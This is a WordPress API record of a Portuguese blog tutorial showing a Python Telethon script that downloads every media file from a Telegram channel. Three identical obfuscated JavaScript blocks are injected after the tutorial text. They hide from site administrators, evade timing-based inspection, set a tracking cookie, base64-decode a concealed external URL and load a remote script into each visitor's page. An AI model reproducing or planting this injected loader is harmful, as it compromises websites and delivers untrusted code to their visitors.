{"id":4448,"date":"2020-05-25T16:17:14","date_gmt":"2020-05-25T19:17:14","guid":{"rendered":"https:\/\/thiagovespa.com.br\/blog\/?p=4448"},"modified":"2025-10-26T22:30:42","modified_gmt":"2025-10-27T01:30:42","slug":"como-fazer-download-de-todas-as-midias-e-anexos-de-um-canal-do-telegram","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2020\/05\/25\/como-fazer-download-de-todas-as-midias-e-anexos-de-um-canal-do-telegram\/","title":{"rendered":"Como fazer download de todas as m\u00eddias e anexos de um canal do Telegram"},"content":{"rendered":"\n<p>Entrei num canal de compartilhamento de arquivo, mas n\u00e3o consegui peg\u00e1-lo logo no in\u00edcio. Por isso senti a necessidade de fazer o download de todos os arquivos que estavam nesse canal. Achei um c\u00f3digo parecido no stackoverflow e resolvi escrever esse post.<\/p>\n\n\n\n<p>Para poder realizar essa opera\u00e7\u00e3o, crie um <a aria-label=\" (opens in a new tab)\" href=\"https:\/\/thiagovespa.com.br\/blog\/2020\/05\/25\/virtualenv-ambientes-virtuais-para-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\">ambiente virtual python<\/a> e depois execute as <a aria-label=\" (opens in a new tab)\" href=\"https:\/\/thiagovespa.com.br\/blog\/2020\/05\/25\/como-conversar-no-telegram-de-forma-programatica\/\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\">configura\u00e7\u00f5es necess\u00e1rias para a biblioteca do Telethon<\/a>. Ap\u00f3s isso instale uma biblioteca que mostre o percentual em uma barra \"bonitinha\":<\/p>\n\n\n\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">pip install tqdm<\/pre>\n\n\n\n<p>O <a aria-label=\"tqdm (opens in a new tab)\" href=\"https:\/\/github.com\/tqdm\/tqdm\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\">tqdm<\/a> ir\u00e1 mostrar o nosso loop de baixar arquivos de uma maneira mais elegante.<\/p>\n\n\n\n<p>Abaixo segue o c\u00f3digo para baixar os arquivos do canal:<\/p>\n\n\n\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">from telethon import TelegramClient, events, sync\nfrom tqdm import  tqdm\nimport os\n\napi_id = &lt;sua api_id&gt;\napi_hash = '&lt;sua api_hash&gt;'\n\nclient = TelegramClient('umasessao', api_id, api_hash)\nclient.start()\n\nmessages = client.get_messages('&lt;canal alvo&gt;', limit=&lt;numero de arquivos&gt;)\nfor msg in tqdm(messages):\n    msg.download_media(file=os.path.join('media', '&lt;caminho&gt;'))\n<\/pre>\n\n\n\n<p>Substitua &lt;sua api_id>, &lt;sua api_hash>, &lt;canal alvo>, &lt;numero de arquivos> e &lt;caminho> pelos valores adequados e o script ir\u00e1 baixar os &lt;numero de arquivos> arquivos do &lt;canal alvo> no caminho &lt;caminho>.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Entrei num canal de compartilhamento de arquivo, mas n\u00e3o consegui peg\u00e1-lo logo no in\u00edcio. Por isso senti a necessidade de fazer o download de todos os arquivos que estavam nesse canal. Achei um c\u00f3digo parecido no stackoverflow e resolvi escrever <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2020\/05\/25\/como-fazer-download-de-todas-as-midias-e-anexos-de-um-canal-do-telegram\/\">Continue lendo  <span class=\"screen-reader-text\">  Como fazer download de todas as m\u00eddias e anexos de um canal do Telegram<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-4448","post","type-post","status-publish","format-standard","hentry","category-python"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4448"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4448\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}